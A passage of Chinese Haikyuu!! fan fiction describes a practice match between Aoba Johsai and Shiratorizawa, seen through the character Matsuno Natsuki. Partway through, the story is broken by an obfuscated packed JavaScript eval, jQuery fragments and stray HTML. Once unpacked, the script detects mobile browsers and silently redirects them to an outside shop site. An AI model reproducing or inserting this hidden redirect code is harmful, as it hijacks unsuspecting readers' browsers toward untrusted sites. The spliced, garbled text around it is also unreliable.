“不过,他的上场本来也在预料之中嘛。”松野夏纪摊开手,激将道,“害怕吗?”

    “怎么可能。我做得这么‘过分’不就是为了把这个躲在后辈身后偷闲的家伙弄出来吗。”及川彻与牛岛若利猝不及防隔空对视,更是连表情上都不肯认输,顶着一张池面做着不忍直视的动作,“我等下一定要把他打的落花流水,在传球上。”

    “牛岛不可能负责的传球吧,学长你这是在比什么啊?”松野夏纪可是看过牛岛若利所有的比赛录像,那家伙完全是一个被全队保护起来的,超级队伍中心。

    最重要的是,他从高一就开始是队伍核心了。

    真是让人羡慕不来的天赋。

    “哼哼哼,小夏纪你这就不懂了吧。那家伙一直这么想让我托球给他,我就更要在他的面前疯狂托他想要的球让他羡慕死!”及川彻双手举起,越说自己越开心。

    真的一点都不像是前辈。

    松野夏纪在心里吐槽着,幸好还有靠谱的岩泉学长将不靠谱的主将拖走去准备上场:“我们先发球,拿不到三分就要接受惩罚哦~”

    “为什么只有对我这么苛刻啊!太过分了吧!”

    “因为你是主将要以身作则,负起点责任吧及川学长,不要总是让岩泉学长操心。”松野夏纪对及川彻挥挥手,目送着他们上场,抱紧了手里的笔记本,“毕竟……”

    你是这个队伍,最优秀的选手。

    所以我对你的期待值,是最高的啊。

    不过松野夏纪不会当着及川彻的面说出这些话。

    总感觉……说出来就要输了。

    他不是为了及川彻而来,甚至连自己的任务对象都还没摸清。

    他的“事业进度条”止步不前,却好像被这群脑袋里只有排球的家伙牵着走的感觉……

    真糟糕。

    可是当松野夏纪看着及川彻抛球起跳的动作,他捂住自己的胸口,嘴角也同那竭力弯起的脊背一般,连同两排牙齿都控制不住地咬格格作响。

    “砰”得一声,像是发起进攻的号角。

    场上最优秀的指挥官向所有人发起了宣战。

    那能撕裂空气的发球每一次都震撼着松野夏纪的心脏。

    如果他现在还是那条病床上的病弱“尸体”的话怕是已经心脏骤停了,而现在这具侥幸租借来的健康也撑不住被来回迅速拉锯战的较量而挑起的心跳。

    那一声声接二连三的触球声仿佛医院那台功率最大的心脏起搏器。

    一下一下一下。

    好像要从喉咙里跳出来了似的。

    他好像有点理解牛岛若利了。

    那被野心捆绑的灵魂,实在是让人挪不开眼睛。

    由青城发起的攻击就算是被接下来,也能顺利将节奏拉回自己的一方。

    白鸟泽一年级的孩子们在接球上还是略逊一筹,而添川仁的下场,牛岛若利的不接球事实上让白鸟泽现在的防守更弱了。

    唯有山形隼人和大平狮音支撑全场,难以撑住每一球的节奏。

    球被还给青城,及川彻的头脑瞬间判断目前最佳的情况。

    这个时候,就要交给脑子活跃的:“小卷!”

    “好!”花卷贵大跳起来,看着白鸟泽的场地,牛岛若利开局的站位身边尽是两个接球的好手,绝不让牛岛陷入一传的牵制之中。

    不过……

    “天童不在,守备不够啊。”

    花卷贵大插着川西太一的拦网漏洞,将球打了过去,对着牛岛若利右后方的位置。

    大平狮音位置靠前,自由人又在防他的左路斜线球,那里刚刚好,无人防备。

    不过白鸟泽的自由人不是吃素的。

    哪怕距离尚远,为了王牌能充分进攻,他还是扑了过去,用一个指尖将球救了起来。

    “白布救球。”

    “是!”

    白布贤二朗看了一眼这个球,又高又急。

    头顶的灯晃眼睛,球场的站位很糟糕,对面的拦网会在哪里。

    第一局失败的焦躁感还在影响着他。

    当他脱手给牛岛若利那一球的时候,他就知道……

    完蛋了。

    牛岛若利愣了一下。

    太高了。

    只有上半个手掌能碰到。

    “白布!你在想什么,没睡醒的话给我出去跑十圈清醒了再回来啊!”鹫匠教练的声音在指导席上响起。

    松野夏纪方才满心的悸动都被吓得全无,勉强吸了一口红茶压压惊。

    真是的,红茶放在保温杯里就不像红茶了。

    就像……不扣球的牛岛若利不像牛岛若利一样。

    虽然知道这家伙还是会吊球的,但是看到牛岛若利因为那个不够好的托球而被迫使用吊球的时候,松野夏纪还是感到觉得十分罕见。

    吊球被网前的岩泉一接到,及川彻托球,快攻拿下第一分。

    一切都还是那么顺理成章。

    观众席为这个美妙的开局发出了欢呼声。

    “干得好一静再拿一分!”

    能按这个势头打下去的话,或许他们真的有机会,战胜白鸟泽一次,而且是有牛若的版本。

    选手们舔舐着当下胜利带来的贪婪。

    但白鸟泽当然不可能让他们那么顺利。

    说好的连拿三分,第二球就被破发。

    牛岛若利的扣球打穿守备的时候,还是小小地吓到了一年生。

    连场外的松野夏纪都忍不住为这样的力量“啧”了一声:“回群的巨鸟真是不一样啊,明明这个也不是配合很多的二传手吧。”

    私下里绝对已经打过练习配合了。

    春高备战期间还敢做这种练习,豪门真是胆大啊。

    松野夏纪把这一点也记下来,之后稍作关注。

    两方来回进攻很快。

    牛岛若利上场之后,拉锯战明显少了很多,都是快速破发。

    毕竟他们这边的一年级自由人还没有成长到能完美消化牛岛若利的扣球,一传失败是常有的事情。

    尤其是不知为何,今天牛岛若利简直超常发挥。

    明明第二局才上场,却是整场打得最顺的一个。

    牛岛若利的连续得分激起了及川彻的胜负欲,数次和岩泉一发起中路进攻,以牙还牙。

    好在成果喜人,只是比赛节奏不受控制地快了起来。

    白鸟泽一直维持着短暂的领先,分数率先破了二十。

    松野夏纪和入畑教练实在是看不下去了,心照不宣地对视一眼,叫了暂停。

    “我怎么觉得今天他扣球的时候老冲着我的脸来呢?”及川彻愤愤地说。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610320|204130||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“想让你毁容也是人之常情。”

    “哈?”

    及川彻和岩泉一吵吵闹闹地下了场。

    “果然牛岛还是太强了,一旦上场就连青城也还是难以招架啊。”场外观众席上的声音不大不小,刚好够飘进及川彻的耳朵。

    刚才被“毁容”宣言刺激的及川彻握紧了拳头,转头凶狠地看过去:“谁说我被小牛若打的落花流水的?”

    “人家才没那么说吧。”岩泉一回身一脚踢了一下及川彻的屁股。

    “谁让你们打的这么吃力被说了也没办法呢。”松野夏纪轻轻皱着眉头说道。

    众人瞬间警铃大作。

    完了,少爷又要有什么损招儿了。

    “说好了要前置牛岛的吧?做到了多少,打到中间抢分抢起来谁还记得这件事?”松野夏纪无情地点出这帮热血上头少年在球场上的失误,“我可清晰地全看着呢。”

    “我居然要小夏纪提醒这种东西了吗。”及川彻感到十分挫败,他和牛岛若利缠斗了这么多年,信誓旦旦地以为他是绝对不会再被小牛若的节奏带着走呢。

    “不过没有自乱阵脚可以加一分,功过相抵。现在开始给我好好地打战术,难道想凭你们现在的身板去硬碰硬吗,太天真了吧?趁着这群白鸟还没飞起来,给我把他们的航行路线狠狠——”松野夏纪比了个拇指,然后向下,“堵死。”

    暂停打断节奏后,及川彻也稍微冷静下来了一点。

    他深呼吸调整自己的节奏:“说好了让小牛若洗干净脖子等着的,必须得说话算话才行啊。好——”

    及川彻转身:“好好给他们点颜色瞧瞧吧。”

    比赛重新开始。

    松野夏纪放心地做回了椅子上。

    球场上的及川学长,应当不会让他失望。

    白鸟泽先开球。

    大平狮音有意识地将球发到及川彻的面前。

    二传手接了一传无法组织进攻。

    但他们还有渡亲治。

    他也练过二传。

    并不是有什么想要成为二传手的梦想,只是个人兴趣,无论是接球还是传球,他都很喜欢。

    好的上手托球也能为队伍带来更加安全稳定的守备。

    “交给我!”渡亲治从三米线外起跳,自由人二传。

    “这什么招数啊!”天童觉在场下看得出神,“隼人隼人,下次试试!”

    “试什么啊!”山形隼人只有心思盯着球。

    会给谁?

    扣到哪儿?

    及川!?

    来自中路的二传手的进攻,但是没人敢轻视。

    及川彻的攻击力,完全不输主攻手。

    他们做好了准备。

    而及川彻在空中,将一切都看得很清晰。

    他笑了一下,目光死死盯着牛岛若利的方向。

    瞄准。

    锁定。

    手臂大幅度地挥舞。

    球速不给任何人换防的机会,结结实实地落在了牛岛若利的手腕上。

    弹飞至场外。

    ……

    “哦——彻彻扣的好!再来一球!”

    及川彻落地,却没有看被那一球击中的牛岛若利,而是看向了教练身边的松野夏纪。

    轻轻歪头。

    “做给你看。”